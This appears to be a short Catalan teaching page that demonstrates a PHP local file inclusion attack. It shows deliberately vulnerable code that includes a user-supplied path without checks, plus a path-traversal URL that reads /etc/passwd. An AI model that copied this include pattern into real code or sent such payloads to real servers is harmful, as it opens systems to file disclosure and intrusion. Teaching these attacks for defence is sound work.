Insertion Attack PHP

per Jordi Farrero darrera modificació 2020-03-25T15:53:30+02:00

Fitxer PHP que te la victima APACHE:

<?php
define('TEMPLATE_DIR', '/');

$GLOBALS['TEMPLATE']['content'] = '<p>Hola mundo!</p>';

if (isset($_GET['t']))
{
    $template=TEMPLATE_DIR . $_GET['t'];
}

if (isset($template) && file_exists($template))
{
    include $template;
}
else
{
    include TEMPLATE_DIR . 'default.php';
}
?>

URL que posa el Hacker :

http://localhost/trans.php?t=../../../../etc/passwd